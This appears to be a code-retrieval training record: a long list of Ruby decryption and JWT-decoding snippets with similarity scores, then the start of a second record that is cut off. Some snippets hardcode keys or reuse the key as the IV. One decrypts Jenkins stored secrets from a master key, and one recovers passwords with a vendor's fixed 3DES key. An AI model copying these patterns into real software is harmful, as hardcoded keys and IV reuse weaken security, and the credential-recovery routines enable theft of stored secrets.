"def decodeToken(token)\n if (@cryptkey.nil? or @cryptkey.empty?)\n fatal(\"Error: decodeToken: Secret key was not set. Aborting.\")\n end\n token = u64(token)\n if (token.nil? or (token.size <= 16) or !(token.size % 16).zero?)\n debug(\"Error: decodeToken: Attempted to decode invalid token.\")\n return\n end\n iv = token[0..15]\n crypted = token[16..-1]\n begin\n aes128cbc = OpenSSL::Cipher::AES128.new(\"CBC\")\n aes128cbc.decrypt\n aes128cbc.iv = iv\n aes128cbc.key = @cryptkey\n decrypted = aes128cbc.update(crypted) + aes128cbc.final\n rescue Exception => e\n debug(\"Error: decodeToken: Decryption failed: #{token}, #{e}\")\n return\n end\n decrypted\n end",
"def decode(token)\n JWT.decode(token, HMAC_SECRET)\n end",
"def decrypt(data, key, options = {})\n raise KeyError.new(\"Please provide a secret key to decrypt data with.\") unless key\n options = settings[:crypt].merge(options)\n decoded_data = decode(data, options)\n decrypted_data = crypt(:decrypt, decoded_data, key, options)\n return data unless decrypted_data\n begin\n JSON.parse(decrypted_data)\n rescue JSON::ParserError\n decrypted_data\n end\n end",
"def decrypt_access_token\n crypt = ActiveSupport::MessageEncryptor.new(Base64.decode64(ENV['KEY']))\n # Use instance variable to pass into another action within controller\n @token = crypt.decrypt_and_verify(current_user.access_token)\n end",
"def decrypt_token(encrypted_connect_token)\n raise SslError, 'Encrypted token cannot be nil.' unless encrypted_connect_token\n\n begin\n private_key.private_decrypt(Base64.urlsafe_decode64(encrypted_connect_token))\n rescue StandardError => e\n raise SslError, \"Could not decrypt token. #{e}\"\n end\n end",
"def decrypted\n @decrypted ||=\n JSON.parse(Encryptor.decrypt(value: params[:user].encode(\"ISO-8859-1\")))\n end",
"def decrypt_token token\n @me.decrypt_and_verify(token).split ThreeScale::SSO::SEPARATOR\n end",
"def decrypt(data)\n cipher = OpenSSL::Cipher::Cipher.new(\"aes-256-cbc\")\n cipher.decrypt\n cipher.key = @passphrase\n cipher.iv = @iv\n decrypted = cipher.update(data)\n decrypted << cipher.final\n json = JSON.parse(decrypted)\n self.identifier = json['identifier']\n @expiry = Time.parse(json['expiry'])\n rescue OpenSSL::Cipher::CipherError => e\n raise Kennedy::BadTicketException, \"Given data was not decryptable\"\n end",
"def decode(token)\n key = \"IOUWHEIJHDLKJHPiuhpsdih98392hjhsad\"\n decipher = OpenSSL::Cipher::AES.new(128, :CBC)\n decipher.decrypt\n decipher.key = key\n decipher.iv = key\n plain = decipher.update(Base64.decode64(token)) + decipher.final\n plain.split(\"|\")\n end",
"def decode!(passphrase)\n JSON(decrypt(passphrase)).each do |k,v|\n self.send(\"#{k}=\", v)\n end\n end",
"def decode(token)\n JWT.decode(token, secret_key, true, { algorithm: 'HS256' })[0]\n end",
"def decode(token)\n JWT.decode(token, secret_key, true, {algorithm: \"HS256\"})[0]\n end",
"def decrypt()\n \t@private_key = AES.decrypt(self.encrypted_private_key, ENV[\"DECRYPTION_KEY\"])\n end",
"def decode(token)\n JWT.decode(token, secret_key, true, { algorithm: 'HS256' })[0]\n end",
"def decode(token)\n JWT.decode(token, secret_key, true, {algorithm: 'HS256'})[0]\n end",
"def decrypt(data)\n crypto_key.decrypt64(data)\n end",
"def decrypt(ciphertext)\n @cipher.decrypt(@secret_key, ciphertext)\n end",
"def decrypt(text)\n @private_key.private_decrypt(Base64.decode64(text)) if text\n end",
"def decrypt(text)\n @private_key.private_decrypt(Base64.decode64(text)) if text\n end",
"def decrypt_hash(encrypted_blob)\n encryptor = ActiveSupport::MessageEncryptor.new($encryption_key)\n decrypted = encryptor.decrypt_and_verify(encrypted_blob)\n\n if decrypted.nil?\n return nil\n else\n return JSON.parse(decrypted)\n end\nend",
"def decrypt_token(master, secret, token)\n # Decrypt the key for hudson.util.Secret\n decryptor = OpenSSL::Cipher.new('AES-128-ECB')\n decryptor.decrypt\n decryptor.key = Digest::SHA256.digest(master)[0..15]\n ct = decryptor.update(secret) + decryptor.final()\n # Strip the magic suffix\n raise \"Bad magic suffix\" unless ct.end_with?(MAGIC)\n ct = ct[0..-1-MAGIC.length]\n # Decrypt the raw token\n decryptor = OpenSSL::Cipher.new('AES-128-ECB')\n decryptor.decrypt\n decryptor.key = ct[0..15]\n ct = decryptor.update(Base64::decode64(token)) + decryptor.final()\n # Strip the magic suffix, again\n raise \"Bad magic suffix\" unless ct.end_with?(MAGIC)\n ct = ct[0..-1-MAGIC.length]\n # The final key is an MD5 of this text\n Digest::MD5.hexdigest(ct)\n end",
"def decrypted_payload\n EncryptionService.new.decrypt(payload).to_h\n end",
"def decode(token)\n JWT.decode(token, secret_key, true, {algorithm: \"HS512\"})[0]\n end",
"def decrypt; end",
"def decode(token)\n body = JWT.decode(token, Rails.application.secrets.secret_key_base)[0]\n HashWithIndifferentAccess.new body\n rescue\n nil\n end",
"def decode(token)\n\t\t\tbody = JWT.decode(token, Rails.application.secrets.secret_key_base)\n\t\t\t#HashWithIndifferentAcesss.new body\n\t\tend",
"def decrypt(value,key,context)\n plaintext = @vault.logical.write(\"transit/decrypt/#{key}\", ciphertext: value, context: Base64.encode64(context).gsub('\\n',''))\n return Base64.decode64(plaintext.data[:plaintext]).gsub('\\n','')\n end",
"def decrypt\n self\n end",
"def decode(token)\n body = JWT.decode(\n token,\n Rails.application.secrets.secret_key_base,\n true,\n algorithm: 'HS256'\n )[0]\n HashWithIndifferentAccess.new body\n rescue\n nil\n end",
"def decrypt(data, key=nil)\n Crypto.new(key.nil? ? config.key : key).decrypt(data)\n end",
"def decrypt\n self\n end",
"def decode_token(token_input)\n JWT.decode(token_input, ENV[\"JWT_SECRET\"], true)\n rescue\n render json: {message: \"Unauthorized\"}, status: 401\n end",
"def decrypt(data)\n @cert_chain[0].public_key.public_decrypt(Base64::decode64(data))\n end",
"def decrypt_message ciphertext\n key_pair.decrypt ciphertext\n end",
"def decode_token(token)\n encryptedBytes = Base64.decode64(token)\n key = \"STINGMIMI\"\n blowfish = Crypt::Blowfish.new(key)\n\n position = 0\n decrypted_token = ''\n\n while position < encryptedBytes.length\n decrypted_token += blowfish.decrypt_block(encryptedBytes[position..position + 7]);\n position += 8\n end\n\n npad = decrypted_token.slice(-1)\n if (npad > 0 && npad < 9)\n decrypted_token = decrypted_token.slice(0, decrypted_token.length-npad)\n end\n\n return decrypted_token\n end",
"def decrypt(encrypted_string)\n CRYPTO.decrypt_string(encrypted_string.decode64)\nend",
"def authenticated_decrypter(context, cipher)\n if RUBY_VERSION.match(/1.9/)\n raise \"authenticated decryption not supported by OpeenSSL in Ruby version ~> 1.9\"\n raise Aws::Errors::NonSupportedRubyVersionError, msg\n end\n http_resp = context.http_response\n content_length = http_resp.headers['content-length'].to_i\n auth_tag_length = http_resp.headers['x-amz-meta-x-amz-tag-len']\n auth_tag_length = auth_tag_length.to_i / 8\n\n auth_tag = context.client.get_object(\n bucket: context.params[:bucket],\n key: context.params[:key],\n range: \"bytes=-#{auth_tag_length}\"\n ).body.read\n\n cipher.auth_tag = auth_tag\n cipher.auth_data = ''\n\n # The encrypted object contains both the cipher text\n # plus a trailing auth tag. This decrypter will the body\n # expect for the trailing auth tag.\n IOAuthDecrypter.new(\n io: http_resp.body,\n encrypted_content_length: content_length - auth_tag_length,\n cipher: cipher)\n end",
"def decrypt\r\n\t \r\n\t \tif @IV.empty?\r\n\t\t\t_iv = OpenSSL::Cipher::Cipher.new(\"aes-#{ @cipher }-#{ @mode }\").random_iv\r\n\t\telse\r\n\t\t\t_iv= @IV\r\n\t\tend\r\n\t\t\r\n\t\tEncryptor.default_options.merge!(:algorithm => \"aes-#{ @cipher }-#{ @mode }\", :key => @key, :iv => _iv)\t\t\r\n\t\t_rt = Encryptor.decrypt(Base64.decode64(@data))\r\n\t\t\t\r\n\t\treturn _rt\r\n\t\t\t\r\n\t end",
"def decoded_token\n if token\n begin\n JWT.decode(token, secret, true, {algorithm: algorithm})\n rescue JWT::DecodeError\n return [{}]\n end\n else\n [{}]\n end\n end",
"def decrypt_api_secret\n @api_secret_d = @client_api_detail.decrypted_api_secret\n success\n end",
"def decrypt\n self.class.decrypt(@encrypted_name, @id)\n end",
"def decode(token)\n JWT.decode(token, private_key.public_key, true, { algorithm: ALGORITHM })\n rescue JWT::VerificationError => e\n # TODO: handle bad token\n rescue JWT::ExpiredSignature => e\n # TODO: handle expired token\n rescue\n nil\n end",
"def decode(token)\n body = JWT.decode(token, Rails.application.secrets.secret_key_base)[0]\n HashWithIndifferentAccess.new body\n rescue\n nil\n end",
"def decode\n Result.new(*JWT.decode(token, configuration.secret, verification?, headers))\n end",
"def decrypt(ciphertext, options = {})\n # TODO\n end",
"def call(token)\n decode(token, decoding_secret)\n rescue JWT::VerificationError\n decode(token, rotation_secret)\n end",
"def jwt_decode(token)\n JWT.decode(token, Config.jwt_decode_key, true, { algorithm: Config.jwt_algorithm, exp_leeway: Config.jwt_lifetime_leeway })[0]\n rescue JWT::DecodeError\n {}\n end",
"def decrypt\n unless @encrypted_data.blank?\n plaintext_data\n end\n end",
"def decipher\r\n aes = OpenSSL::Cipher::AES.new(128, :CBC)\r\n aes.decrypt\r\n aes.key = key\r\n aes.iv = iv\r\n return aes\r\n end",
"def decrypt_jwe(body)\n key = OpenSSL::PKey::RSA.new File.read @private_key\n JWE.decrypt(body, key)\n end",
"def decrypt_handshake_token(token, env)\n handshake = ActiveSupport::MessageEncryptor.new(@token_key).decrypt_and_verify(token);\n begin\n validate_handshake(handshake, env)\n return handshake\n rescue InvalidHandshake\n raise if @die_on_handshake_failure\n end\n return nil\n end",
"def decrypt(x)\n @aes_key.decrypt(x)\n end",
"def private_decrypt(ciphertext)\n @private_key.private_decrypt(ciphertext)\n end",
"def decrypt(string)\n require_key\n\n @private_key.private_decrypt(Base64.decode64(string))\n end",
"def authenticated_decrypter(context, cipher, envelope)\n http_resp = context.http_response\n content_length = http_resp.headers['content-length'].to_i\n auth_tag_length = auth_tag_length(envelope)\n\n auth_tag = context.client.get_object(\n bucket: context.params[:bucket],\n key: context.params[:key],\n version_id: context.params[:version_id],\n range: \"bytes=-#{auth_tag_length}\"\n ).body.read\n\n cipher.auth_tag = auth_tag\n cipher.auth_data = ''\n\n # The encrypted object contains both the cipher text\n # plus a trailing auth tag.\n IOAuthDecrypter.new(\n io: http_resp.body,\n encrypted_content_length: content_length - auth_tag_length,\n cipher: cipher)\n end",
"def decrypt!(encrypted_data, options = {})\n secret = options[:secret]\n cipher = Gibberish::AES.new(secret)\n cipher.decrypt(encrypted_data).strip\n end",
"def decrypt(ciphertext, passwd, options = {})\n iv_and_ciphertext = Base64.decode64(ciphertext)\n cipher = new_cipher(:decrypt, passwd, options)\n cipher.iv, ciphertext = iv_and_ciphertext(cipher, iv_and_ciphertext)\n plaintext = cipher.update(ciphertext)\n plaintext << cipher.final\n plaintext\n end",
"def decoded_jwt\n JwtWrapper.decode(\n Base64.decode64(\n Oj.load(\n Base64.decode64(params[\"token\"].split(\"--\").first)\n )[\"_rails\"][\"message\"]\n ).delete_prefix('\"').delete_suffix('\"')\n )[\"value\"]\n rescue\n nil\n end",
"def decrypt(text64, iv)\n if @cipher\n cipher = OpenSSL::Cipher::Cipher.new(\"aes-#{@cipher}-cbc\")\n cipher.decrypt\n cipher.key = @secret[0..cipher_block_size]\n if iv != \"\"\n cipher.iv = Base64.decode64(iv)\n end\n decrypted_text = cipher.update(Base64.decode64(text64))\n decrypted_text << cipher.final\n return decrypted_text\n else\n return text64\n end\n end",
"def decrypt phrase, key\n decrypt = encrypt phrase, key\n return decrypt\nend",
"def decrypt(passphrase)\n self.user.decrypt(self.encrypted_message, passphrase)\n end",
"def decode_auth_token\n return nil unless verify_header\n\n JsonWebToken.decode_token(verify_header)\n end",
"def decrypt_with(password)\n token = Justbot::Crypto.decrypt(\n self.crypted_twitter_token,\n password,\n self.iv_twitter_token\n )\n secret = Justbot::Crypto.decrypt(\n self.crypted_twitter_secret,\n password,\n self.iv_twitter_secret\n )\n return {:token => token, :secret => secret}\n end",
"def decrypt(ciphertext)\n ciphertext = ciphertext.unpack('m').first\n tag = ciphertext[0, hmac_length]\n ciphertext = ciphertext[hmac_length..-1]\n\n # make sure we actually had enough data for the tag too.\n if tag && ciphertext && verify_message(tag, ciphertext)\n decrypt_ciphertext(ciphertext)\n else\n nil\n end\n end",
"def decode(token)\n #return which user is this token???\n JWT.decode(token, secret_key, true, { algorithm: 'HS256' })[0]\n end",
"def decrypt(encrypted_text, password = nil, salt = nil)\n password = password.nil? ? Hoodie.crypto.password : password\n salt = salt.nil? ? Hoodie.crypto.salt : salt\n\n iv_ciphertext = Base64.decode64(encrypted_text)\n cipher = new_cipher(:decrypt, password, salt)\n cipher.iv, ciphertext = separate_iv_ciphertext(cipher, iv_ciphertext)\n plain_text = cipher.update(ciphertext)\n plain_text << cipher.final\n plain_text\n end",
"def decrypt(ciphertext_blob)\n begin\n\n d_resp = client.decrypt({\n ciphertext_blob: ciphertext_blob\n }).to_h\n\n plaintext = d_resp[:plaintext]\n\n return success_with_data(\n plaintext: plaintext\n )\n\n rescue => e\n return exception_with_data(\n e,\n 'a_k_1',\n GlobalConstant::ErrorAction.default,\n {\n purpose: @purpose,\n role: @role,\n ciphertext_blob: ciphertext_blob\n }\n )\n end\n end",
"def decode(token)\n payload = JWT.decode(token, Rails.application.secrets.secret_key_base, \"HS512\")\n \n #check expiration time and return if still fresh\n if payload[0][\"expires\"] >= Time.now.to_i\n payload[0]\n \n #old token\n else\n false\n end\n \n #couldn't decode token\n rescue\n false\n end",
"def decrypt(enc)\n\n des = OpenSSL::Cipher::Cipher.new('DES-EDE3-CBC')\n des.decrypt\n des.key = \"7304912f3d62b5efcd837373bf6b7ff4f1f438b6b67008ef\".unhex\n des.iv = \"0a0a0a0a0a0a0a0a\".unhex\n des.padding = 0\n\n # libCARSReposMgr.so 3DES padding handling is wrong...\n # we try to mimick the behavior here.\n enc += \"00\" * ( 8 - ( (enc.length / 2) & 7 ) )\n\n decrypted_passwd = des.update(enc.unhex) + des.final\n decrypted_passwd.gsub(/\\x00.*/, '')\n\n end",
"def decoded_token\n if token_from_cookie\n token= token_from_cookie\n # byebug\n begin\n JWT.decode(token, Rails.application.credentials.jwt_token, true, algorithm: \"HS256\")\n # JWT.decode => [{ \"user_id\"=>\"2\" }, { \"alg\"=>\"HS256\" }]\n rescue JWT::DecodeError\n nil\n end\n end\n end",
"def get_decrypted_secret_key\n client = Client.get_from_memcache(self.client_id)\n r = Aws::Kms.new('saas', 'saas').decrypt(client.api_salt)\n return r unless r.success?\n\n api_salt_d = r.data[:plaintext]\n\n LocalCipher.new(api_salt_d).decrypt(self.secret_key)\n end",
"def decrypt(encrypted)\n return nil unless encrypted =~ /Validation: (.*?)\\n(.*)\\n\\*\\*\\*/m\n begin\n decipher = OpenSSL::Cipher.new(\"AES-128-CBC\")\n decipher.decrypt\n # puts \"**** $1=#{$1}, $2=#{$2}\"\n decipher.key = EMAIL_KEY\n decipher.iv = Base64.decode64($1)\n encrypted_data = Base64.decode64($2)\n # puts \"**** decipher.iv=#{Base64.encode64 iv}\"\n # puts \"**** encrypted=#{Base64.encode64 encrypted}\"\n return decipher.update(encrypted_data) + decipher.final \n rescue\n return nil\n end \n end",
"def decrypt(encrypted_data, key, iv, cipher_type)\n aes = OpenSSL::Cipher::Cipher.new(cipher_type)\n aes.decrypt\n aes.key = key\n aes.iv = iv if iv != nil\n aes.update(encrypted_data) + aes.final\n end",
"def decrypt\n data = Tools.get_data4\n potential_payloads = []\n \n data.each do |encrypted|\n potential_payloads << xor_cypher(encrypted)\n end\n \n potential_payloads.flatten(1)\n .sort { |a,b| a[1] <=> b[1] }\n .last(5)\n end",
"def decrypt(base64_encrypted_data,key,base64_init_vector,ciper='aes-128-cbc')\n SymmetricEncryption.cipher = SymmetricEncryption::Cipher.new(:key => key,:iv => Base64.urlsafe_decode64(base64_init_vector), :cipher => ciper )\n SymmetricEncryption.decrypt(Base64.urlsafe_decode64(base64_encrypted_data))\n end",
"def decoded_token\n if auth_header\n token = auth_header.split(' ')[1]\n begin\n JWT.decode(token, 'yourSecret', true, algorithm: 'HS256')\n rescue JWT::DecodeError\n nil\n end\n end\n end",
"def decrypt(password)\n crypt = Envcrypt::Envcrypter.new\n crypt.decrypt(password)\n end",
"def decrypt(bin64, iv64)\n aes = OpenSSL::Cipher::Cipher.new($alg)\n aes.decrypt\n aes.key = $key\n aes.iv = Base64.urlsafe_decode64(iv64)\n aes.update(Base64.urlsafe_decode64(bin64)) + aes.final\nend",
"def token\n @token ||= JWT.decode(jwt_string, secret_key, true, verify_expiration: false)\n end",
"def decode(data)\n json = options = nil\n json = @crypto_key.decrypt(self.class.decode_64(data, @url_safe))\n\n if json.nil?\n raise MultiPass::DecryptError.new(data)\n end\n\n options = decode_json(data, json)\n\n if !options.is_a?(Hash)\n raise MultiPass::JSONError.new(data, json, options)\n end\n\n options.keys.each do |key|\n options[key.to_sym] = unencode_javascript_unicode_escape(options.delete(key))\n end\n\n # Force everything coming out of json into a Time object if it isn't already\n # with YAJL, it parses dates for us (ugh)\n if options.has_key?(:expires) && options[:expires].is_a?(String) && !options[:expires].empty?\n options[:expires] = Time.parse(options[:expires])\n end\n\n if options[:expires].nil? || (options[:expires] != '' && Time.now.utc > options[:expires])\n raise MultiPass::ExpiredError.new(data, json, options)\n end\n\n options\n rescue CipherError\n raise MultiPass::DecryptError.new(data, json, options)\n end",
"def decrypt(value)\n encryptor.decrypt_and_verify(value)\n end",
"def decrypt_pin(msg)\n msg = Base64.strict_decode64 msg\n iv = msg[0..15]\n cipher = msg[16..47]\n aes_key = JOSE::JWA::PKCS1.rsaes_oaep_decrypt('SHA256', pin_token, private_key, session_id)\n alg = 'AES-256-CBC'\n decode_cipher = OpenSSL::Cipher.new(alg)\n decode_cipher.decrypt\n decode_cipher.iv = iv\n decode_cipher.key = aes_key\n decoded = decode_cipher.update(cipher)\n decoded[0..5]\n end",
"def decrypt\n rotations_one = rotation_gen\n rotations = rotations_one.map do |rotation|\n rotation * (-1)\n end\n message.each_with_index do |char, i|\n letter = decrypt_letter(char, rotations[(i % 4)])\n decrypted_message << letter\n end\n decrypted_message.join(\"\")\n end",
"def decrypt!(data, options = {})\n unless options.has_key?(:secret)\n options[:secret] = PreciousCargo::Secret.decrypt!(options)\n end\n\n PreciousCargo::Data.decrypt!(data, options)\n end",
"def decode_token\n #token in header\n if auth_header\n #JWT as a string \n token = auth_header.split(' ')[1]\n #header: { 'Authorization': 'Bearer <token>' }\n #begin/rescue allows us to rescue out of an exception in Ruby \n begin\n #JWT as a string, app secret, and hashing algorithm\n JWT.decode(token, 'my_s3cr3t', true, algorithm: 'HS256')\n rescue JWT::DecodeError\n nil\n end\n end\n end",
"def decrypt encrypted_data, key, iv, cipher_type\n aes = OpenSSL::Cipher::Cipher.new cipher_type\n aes.decrypt\n aes.key = key\n aes.iv = iv if iv != nil\n aes.update(encrypted_data) + aes.final \n end",
"def decrypt(data)\n pipe_to_stdin command('--decrypt'), data\n end",
"def decrypt(base64_string)\r\n encrypted = Base64.decode64(base64_string)\r\n aes = decipher\r\n aes.update(encrypted) + aes.final\r\n end",
"def decrypt(value)\n escape_and_execute_sql(\n [\"SELECT AES_DECRYPT(?, ?)\", Base64.decode64(value), key]).first\n end",
"def decipher(key, user_iv, text)\n ssl_decipher = OpenSSL::Cipher.new('AES-256-CBC')\n ssl_decipher.decrypt\n ssl_decipher.key = key\n ssl_decipher.iv = user_iv\n ssl_decipher.update(text) + ssl_decipher.final\n end",
"def decrypt(value)\n return unless value\n fail ArgumentError, 'Value is not encrypted' unless value.match(REGEXP)\n @key.private_decrypt(Base64.strict_decode64(Regexp.last_match(:value)))\n end",
"def decrypt(message)\n xcrypt(:decrypt, message)\n rescue OpenSSL::Cipher::CipherError\n raise CipherError, 'invalid password'\n end",
"def decrypt(alg, password, cipher)\n \n begin\n case alg\n when \"3DES\" then key = EzCrypto::Key.with_password(password, $system_salt, :algorithm => 'des3')\n when \"AES\" then key = EzCrypto::Key.with_password(password, $system_salt, :algorithm => 'aes256')\n when \"Blowfish\" then key = EzCrypto::Key.with_password(password, $system_salt, :algorithm => 'blowfish')\n when \"Plaintext\" then return cipher\n else key = EzCrypto::Key.with_password(password, $system_salt, :algorithm => 'aes256')\n end\n decrypted_text = key.decrypt64(cipher)\n rescue => e\n p e.message\n end\n return decrypted_text\n \n end",
"def decode(token)\n return nil if token.nil?\n\n decoded = JWT.decode(token, SECRET_KEY)[0]\n HashWithIndifferentAccess.new(decoded)\n rescue JWT::ExpiredSignature => e\n reset_auth_token(token)\n raise_expired_signature_exception(e)\n rescue JWT::DecodeError => e\n raise_decode_error_exception(e)\n rescue JWT::VerificationError => e\n raise_verification_error_exception(e)\n end",
"def decrypt(data)\n data = remove_noise(data)\n # The first 32 bytes of the data is the original IV\n iv = data[0..31]\n cipher = FirebugMcrypt.new(:rijndael_256, :cbc, @key, iv, :zeros)\n cipher.decrypt(data[32..-1])\n end"
] | [
"0.7827826",
"0.7544373",
"0.74195147",
"0.6899909",
"0.6870497",
"0.6849893",
"0.67728925",
"0.67592233",
"0.6749598",
"0.67491424",
"0.6735458",
"0.67055154",
"0.6631554",
"0.6628709",
"0.65307546",
"0.65154064",
"0.6497516",
"0.64950633",
"0.6478973",
"0.6478899",
"0.64678216",
"0.646033",
"0.64416516",
"0.64416516",
"0.64287424",
"0.6425836",
"0.6387971",
"0.63472015",
"0.6337274",
"0.6332588",
"0.63175994",
"0.6317588",
"0.6307936",
"0.6304311",
"0.6301885",
"0.6299798",
"0.62919796",
"0.6262483",
"0.6245977",
"0.6216974",
"0.62081295",
"0.62023336",
"0.618756",
"0.6181909",
"0.6156935",
"0.6148907",
"0.61467713",
"0.6142031",
"0.6141336",
"0.6131775",
"0.6109816",
"0.6105895",
"0.6092824",
"0.6091979",
"0.6079081",
"0.60770553",
"0.6075189",
"0.60517037",
"0.6049506",
"0.6042365",
"0.6018647",
"0.5994758",
"0.5957003",
"0.59368867",
"0.5923994",
"0.5922997",
"0.59201586",
"0.59199995",
"0.5910774",
"0.5906751",
"0.58801556",
"0.5863254",
"0.5857795",
"0.5857111",
"0.5839876",
"0.57940704",
"0.578582",
"0.57835925",
"0.577861",
"0.5776208",
"0.57745516",
"0.5762916",
"0.5752125",
"0.57467425",
"0.57441145",
"0.57374465",
"0.57367176",
"0.5730878",
"0.57170355",
"0.57118",
"0.5710563",
"0.57103086",
"0.570875",
"0.569246",
"0.5684005",
"0.5682525",
"0.5678217",
"0.5677142",
"0.5673717",
"0.5664701"
] | 0.66622645 | 12 |
Gets the key to use for mac and encryption | def get_encryption_key
key_bytes = @sha_size / 8
if @alg.respond_to?(:preshared_key)
key = @alg.preshared_key
unless key.size == key_bytes
raise Sandal::KeyError, "The pre-shared content key must be #{@sha_size} bits."
end
key
else
SecureRandom.random_bytes(key_bytes)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_key\n @key = Base64.decode64('MzRlZTc5ODMtNWVlNi00MTQ3LWFhODYtNDQzZWEwNjJhYmY3NzQ0OTNkNmEtMmExNS00M2ZlLWFhY2UtZTc4NTY2OTI3NTg1Cg==')\n end",
"def crypto_key\n # Returns singleton object\n EmailEncryptionKey.instance.key\n end",
"def get_crypto_key_hex\n return @crypto_key if ! @crypto_key\n @crypto_key.unpack(\"H*\")\n end",
"def get_key(id)\n @encryption_io.get_key(id)\n end",
"def derive_keys(key)\n derived_key_size = key.size / 2\n mac_key = key[0...derived_key_size]\n enc_key = key[derived_key_size..-1]\n return mac_key, enc_key\n end",
"def key\n ECDSA.build_key(public_key, private_key)\n end",
"def get_user_key()\n uri = build_uri('storage/crypto/keys')\n ret = @tools.process_get_request(uri, @user_obj.encrypted_login, @user_pwd).body\n ret_hash = JSON.parse(ret)\n payload = JSON.parse(ret_hash['payload'])\n ciphertxt = Base64.decode64(payload['ciphertext'])\n iv = Base64.decode64(payload['IV'])\n priv_elts = JSON.parse(decrypt_data(ciphertxt, @encryption_key, iv))\n Base64.decode64(priv_elts['default'][0])\n end",
"def private_key\n @private_key.to_der\n end",
"def commonKey()\n\treturn \"\\xEB\\xE4\\x2A\\x22\\x5E\\x85\\x93\\xE4\\x48\\xD9\\xC5\\x45\\x73\\x81\\xAA\\xF7\"\nend",
"def key(keygap)\n key = read['pem']\n raise \"There is no key for some reason for user @#{@login}\" if key.nil?\n key = Keygap.new.merge(key, keygap)\n @log.debug(\"The private key of @#{@login} reassembled: #{key.to_s.length} chars\")\n key\n end",
"def get_key(address)\n privkey = get_private_key address\n key = Bitcoin::Key.from_base58(privkey)\n key\nend",
"def encryption_key\n return @encryption_fu_attrs['-encryption-key-'] if @encryption_fu_attrs['-encryption-key-']\n \n public_key = self.send self.encryption_fu_options[:public_key_field]\n if public_key.blank?\n public_key = self.generate_public_encryption_key\n self.send \"#{self.encryption_fu_options[:public_key_field]}=\".to_sym, public_key\n end\n private_key = self.private_encryption_key\n \n @encryption_fu_attrs['-encryption-key-'] = Digest::SHA256.hexdigest(\"-#{private_key}-#{public_key}-\")\n end",
"def private_key\n @key\n end",
"def key\n @agent.private_key\n end",
"def kms_key\n @gapi.kms_key_name\n end",
"def key_id\n GlobalConstant::Aws::Kms.get_key_id_for(@purpose)\n end",
"def key_id\n GlobalConstant::Aws::Kms.get_key_id_for(@purpose)\n end",
"def encryption_key\n\tself.data_encrypting_key ||= DataEncryptingKey.primary\n\tdata_encrypting_key.key\n end",
"def get_key_path\n # Generate the CSR if that wasn't already done.\n if !has_csr?\n gen_csr\n end\n \n return @key_file_path\n end",
"def private_key\n encode64(curve.private_key.to_s(2))\n end",
"def private_key\n @priv\n end",
"def key(hash160)\n key = Bitcoin::Key.new\n key.priv = hash160\n key\n end",
"def key\n Net::HTTP.get(@uri.host, \"#{@uri.request_uri}key\", @uri.port)\n end",
"def token_encryption_key_id\n return @token_encryption_key_id\n end",
"def get_key(key)\n\t\t\tif @prod_env\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_prod\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_prod\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_dev\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_dev\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def to_bytes; @key; end",
"def to_bytes; @key; end",
"def key(length=256,format=:plain)\n key = ::AES::AES.new(\"\").random_key(length)\n case format\n when :base_64\n Base64.encode64(key).chomp\n else\n key\n end\n end",
"def obtain_key(password)\n @key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(password, @encrypt_salt, 300_000, KEYLEN)\n end",
"def key(hash160)\n key = Bitcoin::Key.new\n key.priv = hash160\n key\n end",
"def kms_key_id\n data[:kms_key_id]\n end",
"def kms_key_id\n data[:kms_key_id]\n end",
"def email_key\n \"zDMSATq0W3hmA5p3rKTgD\"\n end",
"def generate_key\n key = RbNaCl::Random.random_bytes(RbNaCl::SecretBox.key_bytes)\n Base64.strict_encode64 key\n end",
"def get_private_key\n return @private_key\n end",
"def gamebus_key\n decrypt(self[:gamebus_key])\n end",
"def public_key\n @public_key.to_der\n end",
"def client_key\n @client_key ||= CredentialCache.cache(cache_key(:client_key)) do\n hmac(salted_password, 'Client Key')\n end\n end",
"def generate_key\n self.key = SecureRandom.hex(KEY_LENGTH / 2)\n end",
"def raw_key\n key = read['pem']\n raise \"There is no key for some reason for user @#{@login}\" if key.nil?\n key\n end",
"def private_key\n return self.authentication.private_key\n end",
"def private_key\n return self.authentication.private_key\n end",
"def bit_locker_encrypt_device\n return @bit_locker_encrypt_device\n end",
"def public_key\n @priv.public_key\n end",
"def pubkey\n # Split every 2 bytes\n paths = combined_hash.unpack('S>*')\n paths.inject(payment_base) { |key, p| key.derive(p) }\n end",
"def get_key(aliaz, password)\n\n end",
"def public_key\n DH.new(to_der)\n end",
"def get_auth_key\n auth_key = read_auth_key\n if auth_key.nil?\n auth_key = create_auth_key\n end\n \n if auth_key.length != @@AUTH_KEY_LEN\n raise StandardError.new(\"Bad auth key - wrong length\")\n end\n \n auth_key\n end",
"def key\n refresh_key unless key_valid?\n @key\n end",
"def kms_key_id\n @dbi.kms_key_id\n end",
"def kms_key_id\n @dbi.kms_key_id\n end",
"def key_path\n\t\t\tFile.join(@root, \"#{@hostname}.key\")\n\t\tend",
"def encryption_key\n @encryption_key ||= @keys.last.tap do |key|\n key.public_tags.encrypted_data_key_id = key.id if ActiveRecord::Encryption.config.store_key_references\n end\n\n @encryption_key\n end",
"def get_key\n os = $driver.capabilities.platform.to_s.upcase\n if os.to_s == 'WINDOWS' || os.to_s == 'LINUX'\n return 'control'\n elsif os.to_s == 'DARWIN'\n return 'command'\n else\n raise 'Invalid OS'\n end\nend",
"def key_path\n @key_path || Utils.filesystem_name(name) + '.pem'\n end",
"def jwt_key\n 'ec6a8b69ae22049f900af9bd9f14ffb4dc6937f69575ab49b4df2d28364055b8'\n end",
"def generate\n key = Bitcoin::Key.generate.priv\n info(\"Bitcoin private key generated: #{key[0..8]}...\")\n key\n end",
"def key_generator\n self.class.rails_key_generator(secret_key_base)\n end",
"def generate_key\n SecureRandom.hex(32)\nend",
"def priv_key\n key = master_ext_key.derive(PURPOSE_TYPE, true).derive(Tapyrus.chain_params.bip44_coin_type, true)\n\n # Split every 2 bytes\n paths = combined_hash.unpack('S>*')\n paths.inject(key) { |key, p| key.derive(p) }\n end",
"def get_otp_key(id)\n @otp_keys.key?(id) ? decrypt(@otp_keys[id]) : nil\n end",
"def generate\n key = Bitcoin::Key.generate.priv\n @log.info(\"Bitcoin private key generated: #{key[0..8]}...\")\n key\n end",
